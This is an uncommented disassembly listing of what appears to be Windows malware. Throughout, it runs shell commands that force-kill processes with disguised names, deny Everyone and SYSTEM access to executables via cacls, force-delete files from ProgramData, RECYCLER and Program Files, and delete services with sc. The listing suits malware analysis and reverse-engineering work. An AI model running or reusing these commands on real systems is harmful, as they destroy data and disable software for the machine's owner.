mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskmgzr.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402708
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskmgzr.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskmgzr.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4027bb
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskmgzr.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskmgzr.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_vget.vbs
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_vget.vbs
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_vget.vbs
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_vget.vbs
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.assm.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4029a6
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SqlManagement.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402ad7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SqlManagement.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SystemManagement.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402c08
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SystemManagement.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.msinfo.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402d39
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_msinfo.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.rundlls.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402e6a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_rundlls.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhoy.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x402f9b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoy.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.OmdBase.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4030cc
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_OmdBase.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.System.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4031fd
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_System.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_System.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_System.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.spoolys.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40332e
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_spoolys.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.OmdBase.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4033c3
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_OmdBase.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_MakerOmdBase.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_MakerOmdBase.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_MakerOmdBase.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_MakerOmdBase.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_MakerOmdBase.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_MakerOmdBase.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_DVD_Maker_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_DVD_Maker_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.GthUdTask.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403620
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_GthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_GthUdTaskGthUdTask.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_GthUdTaskGthUdTask.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_GthUdTaskGthUdTask.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_GthUdTaskGthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_GthUdTaskGthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_GthUdTaskGthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_GthUdTask_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_GthUdTask_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.BthUdTask.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40387d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_BthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_BthUdTaskBthUdTask.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_BthUdTaskBthUdTask.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_BthUdTaskBthUdTask.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_BthUdTaskBthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_BthUdTaskBthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_BthUdTaskBthUdTask.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_BthUdTask_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_BthUdTask_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SvidaPctb.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403ada
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SvidaPctb.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SvidaPctbSvidaPctb.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_SvidaPctbSvidaPctb.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SvidaPctbSvidaPctb.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SvidaPctbSvidaPctb.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_SvidaPctbSvidaPctb.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SvidaPctbSvidaPctb.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
